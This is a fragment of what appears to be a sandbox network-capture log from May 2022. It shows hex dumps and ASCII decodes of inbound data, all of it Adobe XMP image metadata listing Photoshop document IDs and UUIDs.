/rdf:li> <rdf:li>EA58EBFA57FE5A2E1DE5D1E9FA757FF2</rdf:li> <rdf:li>

2022-05-26 11:46:49 UTC 4745 IN Data Raw: 36 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 35 43 30 38 45 34 31 35 35 35 46 46 
43 42 45 32 35 31 41 45 30 44 43 32 44 41 36 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 36 
30 34 34 32 44 34 32 38 44 42 44 41 38 43 41 37 33 37 30 42 37 35 39 34 32 30 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 46 36 30 43 41 43 46 36 31 32 38 43 42 37 32 43 31 38 45 44 31 33 38 46 37 41 36 35 32 31 36 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 32 32 37 32 35 31 45 33 41 36 46 30 37 46 42 31 31 38 32 
36 39 39 31 41 44 37 33 30 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 34 38 37 43 35 39 31 30 
31 46 34 42 46 42 42 33 42 46 30 34 35 39 37 30 33 33 43 39 33 43 3c 2f 
Data Ascii: 6E5</rdf:li> <rdf:li>F605C08E41555FFCBE251AE0DC2DA6E1</rdf:li> <rdf:li>F6060442D428DBDA8
CA7370B75942074</rdf:li> <rdf:li>F60CACF6128CB72C18ED138F7A65216E</rdf:li> <rdf:li>F6227251E3A6F07FB
11826991AD730DF</rdf:li> <rdf:li>F6487C59101F4BFBB3BF04597033C93C</

2022-05-26 11:46:49 UTC 4753 IN Data Raw: 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 39 39 35 31 46 39 33 39 44 42 37 46 44 44 
33 31 32 37 43 43 43 44 32 44 44 44 43 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 46 45 37 
39 43 45 37 33 46 31 37 44 46 43 31 34 38 46 37 32 37 38 34 38 37 41 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 46 43 41 33 38 33 36 45 41 39 34 41 45 39 37 42 30 45 46 38 43 35 30 30 45 33 41 32 35 39 31 36 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 37 37 31 35 36 37 42 33 35 31 42 38 34 45 32 37 45 36 34 39 
32 32 46 42 45 32 38 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 41 41 39 45 34 33 33 44 34 
32 43 37 37 36 37 37 42 45 35 39 36 46 42 43 30 35 34 38 31 3c 2f 72 64 
Data Ascii: 5</rdf:li> <rdf:li>FC99951F939DB7FDD3127CCCD2DDDC68</rdf:li> <rdf:li>FC9FE79CE73F17DFC14
8F7278487A577</rdf:li> <rdf:li>FCA3836EA94AE97B0EF8C500E3A25916</rdf:li> <rdf:li>FCA771567B351B84E27
E64922FBE28AC</rdf:li> <rdf:li>FCAAA9E433D42C77677BE596FBC05481</rd

2022-05-26 11:46:49 UTC 4824 IN Data Raw: 2d 61 65 37 38 36 33 62 62 38 64 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 38 64 34 61 38 30 38 2d 37 32 36 34 2d 31 31 65 31 2d 39 31 36 34 
2d 61 65 62 66 34 37 61 62 39 64 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 39 37 36 65 36 34 35 2d 38 65 65 39 2d 31 31 64 38 2d 62 39 31 66 2d 66 39 
65 63 64 38 66 66 61 34 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 32 39 62 32 63 66 30 66 2d 61 32 62 66 2d 31 31 37 38 2d 61 39 37 35 2d 65 61 39 39 31 
33 30 63 33 62 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: -ae7863bb8d21</rdf:li> <rdf:li>adobe:docid:photoshop:28d4a808-7264-11e1-9164-aebf47ab9d51</rdf:li> 
<rdf:li>adobe:docid:photoshop:2976e645-8ee9-11d8-b91f-f9ecd8ffa428</rdf:li> <rdf:li>adobe:docid:photoshop:29b2cf0f-
a2bf-1178-a975-ea99130c3b2b</rdf:li> <rdf

2022-05-26 11:46:49 UTC 4840 IN Data Raw: 68 6f 74 6f 73 68 6f 70 3a 35 39 38 30 31 63 65 36 2d 65 33 61 63 2d 63 35 34 33 2d 62 66 31 62 2d 62 36 33 
62 38 66 65 39 36 33 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 35 61 33 38 62 64 31 63 2d 63 33 36 61 2d 31 31 64 37 2d 61 30 31 63 2d 63 61 65 37 66 64 
35 38 32 38 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 35 61 38 66 33 63 39 39 2d 37 31 63 36 2d 31 31 65 31 2d 39 65 38 36 2d 63 30 38 34 62 30 62 37 37 
33 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 35 62 38 34 38 30 30 38 2d 66 63 34 34 2d 31 31 37 38 
Data Ascii: hotoshop:59801ce6-e3ac-c543-bf1b-b63b8fe96395</rdf:li> <rdf:li>adobe:docid:photoshop:5a38bd1c-c36a-
11d7-a01c-cae7fd5828a6</rdf:li> <rdf:li>adobe:docid:photoshop:5a8f3c99-71c6-11e1-9e86-c084b0b7738d</rdf:li> <
rdf:li>adobe:docid:photoshop:5b848008-fc44-1178

2022-05-26 11:46:49 UTC 4904 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 37 31 38 63 62 34 35 38 2d 39 33 66 66 2d 31 31 64 38 2d 38 35 35 38 2d 66 61 32 63 61 31 32 32 39 63 30 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 31 
39 30 65 66 38 39 2d 37 39 37 33 2d 31 31 65 31 2d 62 61 62 63 2d 65 35 35 65 37 63 36 61 38 39 33 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 31 39 32 65 
62 32 66 2d 65 33 31 63 2d 31 31 64 39 2d 62 36 65 37 2d 64 61 34 65 35 32 65 33 65 34 36 35 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
Data Ascii: df:li> <rdf:li>adobe:docid:photoshop:718cb458-93ff-11d8-8558-fa2ca1229c02</rdf:li> <rdf:li>adobe:docid:photo
shop:7190ef89-7973-11e1-babc-e55e7c6a8932</rdf:li> <rdf:li>adobe:docid:photoshop:7192eb2f-e31c-11d9-b6e7-da4e5
2e3e465</rdf:li> <rdf:li>adobe:docid:

2022-05-26 11:46:49 UTC 4920 IN Data Raw: 34 2d 37 65 32 62 2d 31 31 65 31 2d 38 38 65 34 2d 62 33 35 34 30 32 64 36 64 61 31 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 62 30 63 62 65 
66 2d 66 35 66 63 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 63 61 65 66 63 65 2d 66 
38 66 65 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 35 61 35 63 62 32 2d 32 34 61 34 
2d 31 31 64 62 2d 38 61 66 38 2d 66 39 34 30 61 38 33 30 38 61 
Data Ascii: 4-7e2b-11e1-88e4-b35402d6da16</rdf:li> <rdf:li>adobe:docid:photoshop:a2b0cbef-f5fc-1178-9ec9-bf324
dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a2caefce-f8fe-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:doc
id:photoshop:a35a5cb2-24a4-11db-8af8-f940a8308a

2022-05-26 11:46:49 UTC 4983 IN Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 39 65 62 34 36 61 
2d 37 66 30 62 2d 37 35 34 66 2d 62 63 62 34 2d 35 62 31 32 65 38 34 36 32 35 63 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 66 37 35 64 32 32 2d 38 63 
62 32 2d 31 31 37 38 2d 38 35 37 63 2d 64 36 61 39 66 34 61 38 66 32 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 61 31 36 37 35 33 32 2d 39 31 64 39 2d 
31 31 65 36 2d 61 30 33 65 2d 65 32 62 33 61 32 66 62 36 37 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
Data Ascii: df:li>adobe:docid:photoshop:d99eb46a-7f0b-754f-bcb4-5b12e84625cc</rdf:li> <rdf:li>adobe:docid:phot
oshop:d9f75d22-8cb2-1178-857c-d6a9f4a8f29f</rdf:li> <rdf:li>adobe:docid:photoshop:da167532-91d9-11e6-a03e-e2b3
a2fb67e1</rdf:li> <rdf:li>adobe:docid:photoshop
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2022-05-26 11:46:49 UTC 5039 IN Data Raw: 31 34 63 2d 66 32 31 39 61 64 36 34 63 64 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 62 62 35 39 30 32 2d 30 38 65 39 2d 31 31 65 37 2d 38 
39 35 34 2d 39 66 63 34 30 30 37 39 65 62 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 63 63 36 32 64 30 2d 39 61 32 64 2d 31 31 64 39 2d 62 35 32 64 
2d 61 36 31 66 32 61 34 37 31 30 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 64 39 35 66 66 35 2d 65 66 30 38 2d 31 31 64 39 2d 39 36 65 35 2d 39 31 
34 36 34 32 37 64 32 66 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: 14c-f219ad64cd2e</rdf:li> <rdf:li>adobe:docid:photoshop:efbb5902-08e9-11e7-8954-9fc40079ebe6</rdf:li> 
<rdf:li>adobe:docid:photoshop:efcc62d0-9a2d-11d9-b52d-a61f2a4710f8</rdf:li> <rdf:li>adobe:docid:photoshop:efd95ff5-e
f08-11d9-96e5-9146427d2f9a</rdf:li> <

2022-05-26 11:46:49 UTC 5071 IN Data Raw: 75 69 64 3a 32 37 33 36 36 31 46 33 45 45 35 36 44 46 31 31 38 32 41 31 42 36 42 41 43 33 36 42 41 38 30 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 34 33 35 33 41 44 30 37 32 33 44 46 31 
31 39 30 45 33 41 46 46 37 33 45 37 46 37 38 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3
a 32 37 34 34 45 42 33 35 39 43 32 32 44 44 31 31 42 37 30 30 46 37 42 46 38 38 46 31 35 35 39 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 39 30 34 36 45 30 39 32 41 36 44 44 31 31 39 41 32 41 45 34 35 
45 43 37 33 41 37 43 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 39 41 36 42 33 
42 34 37 39 37 44 46 31 31 39 43 43 42 38 33 30 35 36 33 37 36 32 44 41 
Data Ascii: uid:273661F3EE56DF1182A1B6BAC36BA807</rdf:li> <rdf:li>uuid:274353AD0723DF1190E3AFF73E7F7
895</rdf:li> <rdf:li>uuid:2744EB359C22DD11B700F7BF88F1559B</rdf:li> <rdf:li>uuid:279046E092A6DD119A2
AE45EC73A7CD3</rdf:li> <rdf:li>uuid:279A6B3B4797DF119CCB830563762DA

2022-05-26 11:46:49 UTC 6793 IN Data Raw: 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 42 31 44 32 36 45 41 36 
43 36 31 31 44 45 42 37 46 35 43 39 33 41 41 32 46 32 30 38 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 35 41 42 31 44 32 37 34 41 36 43 36 31 31 44 45 42 37 46 35 43 39 33 41 41 32 46 32 30 38 42 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 42 41 38 34 45 46 44 35 43 38 45 34 31 31 39 
36 31 33 44 44 36 31 38 31 30 46 37 36 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 
41 44 41 39 36 42 45 36 31 33 32 31 31 44 43 38 42 31 37 45 42 36 37 45 30 32 35 36 44 45 33 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 46 39 36 46 36 33 37 
Data Ascii: A96</rdf:li> <rdf:li>uuid:5AB1D26EA6C611DEB7F5C93AA2F208B0</rdf:li> <rdf:li>uuid:5AB1D27
4A6C611DEB7F5C93AA2F208B0</rdf:li> <rdf:li>uuid:5ABA84EFD5C8E4119613DD61810F76FA</rdf:li> <rdf:li>uu
id:5ADA96BE613211DC8B17EB67E0256DE3</rdf:li> <rdf:li>uuid:5AF96F637

2022-05-26 11:46:49 UTC 6800 IN Data Raw: 69 64 3a 37 34 37 36 39 42 38 46 41 39 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 38 42 30 35 33 30 37 46 31 33 31 31 44 43 
41 43 43 35 38 38 35 42 43 43 46 41 33 44 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 3
7 34 39 41 39 37 37 34 38 39 36 46 45 30 31 31 42 43 36 32 41 41 43 33 46 32 38 44 31 34 36 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 39 44 39 37 35 34 36 35 35 37 44 46 31 31 39 44 34 30 43 43 31 36 
32 37 30 35 46 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 43 37 46 31 41 33 
31 42 41 43 44 42 31 31 38 30 34 31 46 30 42 41 45 33 30 43 31 30 34 41 
Data Ascii: id:74769B8FA9C9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:748B05307F1311DCACC5885BCCFA3D
09</rdf:li> <rdf:li>uuid:749A9774896FE011BC62AAC3F28D1468</rdf:li> <rdf:li>uuid:749D97546557DF119D40
CC162705F5CF</rdf:li> <rdf:li>uuid:74C7F1A31BACDB118041F0BAE30C104A

2022-05-26 11:46:49 UTC 6816 IN Data Raw: 39 43 37 45 31 34 30 41 44 43 31 31 41 32 44 41 41 34 44 37 38 46 35 30 39 31 33 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 33 41 35 44 43 41 44 46 46 45 44 46 31 31 42 37 39 46 45 38 45 45 
41 30 30 36 41 30 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 34 35 44 43 44 33 
33 41 46 39 44 46 31 31 42 35 39 32 46 38 38 31 30 38 37 37 31 34 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 75 75 69 64 3a 41 36 34 45 44 32 35 32 41 37 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 36 43 46 38 38 36 41 34 32 32 45 31 31 
31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 
Data Ascii: 9C7E140ADC11A2DAA4D78F509131</rdf:li> <rdf:li>uuid:A63A5DCADFFEDF11B79FE8EEA006A0EF</rdf:li> 
<rdf:li>uuid:A645DCD33AF9DF11B592F8810877149D</rdf:li> <rdf:li>uuid:A64ED252A7C9E011AA55A065F8A23988</rdf
:li> <rdf:li>uuid:A66CF886A422E111B0DFB86470705002</rdf:l

2022-05-26 11:46:49 UTC 6832 IN Data Raw: 69 64 3a 45 33 35 30 32 32 34 37 45 39 45 34 31 31 44 46 39 46 41 35 42 38 30 32 34 42 42 36 36 38 36 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 33 36 45 34 41 46 44 30 34 36 36 44 44 31 31 
39 39 33 33 42 38 35 35 31 34 39 34 42 44 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 4
5 33 38 46 42 34 46 35 38 33 45 35 44 43 31 31 41 46 39 37 43 41 37 39 38 45 45 41 30 43 34 37 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 33 45 33 33 41 43 35 32 33 35 39 44 45 31 31 39 38 38 32 43 36 43 42 
32 36 44 35 30 44 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 34 41 41 32 35 46 32 
36 30 37 45 45 31 31 31 39 43 36 32 39 46 44 42 32 39 41 45 30 39 43 34 
Data Ascii: id:E3502247E9E411DF9FA5B8024BB6686D</rdf:li> <rdf:li>uuid:E36E4AFD0466DD119933B8551494BD
56</rdf:li> <rdf:li>uuid:E38FB4F583E5DC11AF97CA798EEA0C47</rdf:li> <rdf:li>uuid:E3E33AC52359DE119882
C6CB26D50D2E</rdf:li> <rdf:li>uuid:E4AA25F2607EE1119C629FDB29AE09C4

2022-05-26 11:46:49 UTC 6840 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 33 32 38 43 32 43 30 38 32 36 45 33 31 31 38 44 42 33 38 31 45 
46 32 43 31 44 38 41 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 33 38 
30 35 35 42 41 44 32 34 36 38 31 31 38 37 31 46 45 43 34 42 39 36 31 36 37 44 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 34 46 39 35 42 34 31 32 30 36 38 31 31 39 32 42 30 45 41 33 38 
41 39 31 37 36 44 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 35 41 
34 33 39 32 43 39 37 45 34 31 31 39 43 41 33 38 35 33 37 38 32 32 44 30 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 42 39 30 38 37 30 45 32 
Data Ascii: :li>xmp.did:00328C2C0826E3118DB381EF2C1D8A93</rdf:li> <rdf:li>xmp.did:0038055BAD24681187
1FEC4B96167D32</rdf:li> <rdf:li>xmp.did:0044F95B4120681192B0EA38A9176D6C</rdf:li> <rdf:li>xmp.did:00
45A4392C97E4119CA38537822D00A8</rdf:li> <rdf:li>xmp.did:004B90870E2

2022-05-26 11:46:49 UTC 6856 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 
30 36 38 31 31 39 39 34 43 43 45 36 37 33 46 44 41 32 41 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 45 46 39 45 43 46 36 46 45 45 43 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 
36 38 31 31 41 37 42 41 42 35 37 42 37 42 38 33 37 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 42 32 31 34 31 42 44 43 41 33 39 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:0280117407206811994CCE673FDA2A3B</rdf:li> <rdf:li>xmp.did:0280117407206811
994CEF9ECF6FEECD</rdf:li> <rdf:li>xmp.did:0280117407206811A7BAB57B7B837883</rdf:li> <rdf:li>xmp.did:
0280117407206811A961B2141BDCA390</rdf:li> <rdf:li>xmp.did
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2022-05-26 11:46:49 UTC 6872 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 
38 31 31 38 32 32 41 43 34 41 33 41 45 46 32 37 31 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 34 36 43 43 44 37 46 33 31 30 41 44 44 45 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 
31 31 38 37 31 46 43 38 34 32 33 31 31 33 34 41 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 45 31 42 32 35 34 31 38 32 44 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
Data Ascii: f:li> <rdf:li>xmp.did:0780117407206811822AC4A3AEF271C5</rdf:li> <rdf:li>xmp.did:078011740720681184
6CCD7F310ADDE0</rdf:li> <rdf:li>xmp.did:0780117407206811871FC84231134A2D</rdf:li> <rdf:li>xmp.did:07
80117407206811871FFE1B254182D2</rdf:li> <rdf:li>xmp.did:0

2022-05-26 11:46:49 UTC 6880 IN Data Raw: 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 43 36 45 
45 39 33 46 44 37 39 45 30 31 31 41 36 38 44 43 45 37 34 41 34 36 38 43 33 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 43 39 37 36 45 35 35 35 32 31 36 38 31 31 39 39 34 43 39 38 37 39 37 
46 46 32 44 44 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 45 30 45 31 4
4 31 33 42 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 64 34 37 38 64 64 2d 64 66 31 62 2d 35 36 34 65 2d 38 39 61 63 2d 64 37 39 
34 31 35 62 33 34 33 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: FAF3B</rdf:li> <rdf:li>xmp.did:09C6EE93FD79E011A68DCE74A468C3B8</rdf:li> <rdf:li>xmp.did:09C976E55
5216811994C98797FF2DDC4</rdf:li> <rdf:li>xmp.did:09E0E1D13B246811994CA0E6AB1C1578</rdf:li> <rdf:li>x
mp.did:09d478dd-df1b-564e-89ac-d79415b343b8</rdf:li> <rdf

2022-05-26 11:46:49 UTC 6896 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 64 37 30 65 30 61 2d 66 35 65 
62 2d 34 64 34 36 2d 61 30 36 36 2d 62 34 33 35 35 32 39 30 65 63 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 65 30 39 39 32 34 2d 32 64 63 30 2d 34 35 66 64 2d 39 35 38 34 2d 65 33 38 36 
65 65 39 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 65 33 38 
66 38 66 2d 37 34 38 30 2d 34 35 63 30 2d 39 63 35 36 2d 61 38 37 39 33 64 31 65 32 63 38 65 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 66 33 64 36 66 38 2d 36 38 65 31 2d 62 64 34 38 2d 38 64 
64 31 2d 34 62 31 35 65 65 30 35 37 32 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: df:li> <rdf:li>xmp.did:18d70e0a-f5eb-4d46-a066-b4355290ec74</rdf:li> <rdf:li>xmp.did:18e09924-2dc0-45fd-
9584-e386ee9d1c4d</rdf:li> <rdf:li>xmp.did:18e38f8f-7480-45c0-9c56-a8793d1e2c8e</rdf:li> <rdf:li>xmp.did:18f3d6f8-
68e1-bd48-8dd1-4b15ee0572e5</rdf:li> 

2022-05-26 11:46:49 UTC 6912 IN Data Raw: 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 45 44 41 34 43 31 33 37 32 30 36 38 31 31 42 46 44 36 42 35 
46 30 33 46 41 45 30 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 46 
34 41 37 45 39 33 45 37 36 31 31 45 37 38 33 46 38 43 33 31 43 36 34 45 35 34 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 62 33 35 36 35 32 2d 31 64 39 36 2d 34 64 36 63 2d 61 30 66 65 
2d 34 30 63 39 62 65 64 62 39 61 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
32 38 62 39 39 65 34 37 2d 61 31 38 66 2d 30 33 34 38 2d 39 37 65 65 2d 
